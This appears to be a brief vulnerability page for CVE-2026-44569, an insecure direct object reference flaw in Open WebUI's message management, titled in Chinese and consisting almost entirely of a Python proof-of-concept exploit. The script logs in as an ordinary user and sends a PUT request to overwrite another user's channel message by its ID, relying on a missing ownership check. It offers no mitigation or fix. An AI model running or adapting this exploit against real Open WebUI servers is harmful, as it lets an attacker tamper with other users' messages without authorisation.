CVE-2026-44569 Open WebUI消息管理IDOR漏洞

import requests # Target configuration target_url = "http://localhost:3000" login_creds = {"username": "attacker", "password": "password"} victim_message_id = "TARGET_MESSAGE_ID_HERE" # 1. Authenticate to get session token session = requests.Session() login_resp = session.post(f"{target_url}/api/v1/auths/login", json=login_creds) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit IDOR to update victim's message # The backend checks channel access but not message ownership update_payload = { "content": "This message has been modified by an attacker via IDOR." } # Send update request for a message not owned by the attacker exploit_url = f"{target_url}/api/v1/channels/messages/{victim_message_id}" response = session.put(exploit_url, json=update_payload) if response.status_code == 200: print("[+] Successfully exploited IDOR: Message updated.") else: print("[-] Exploit failed.")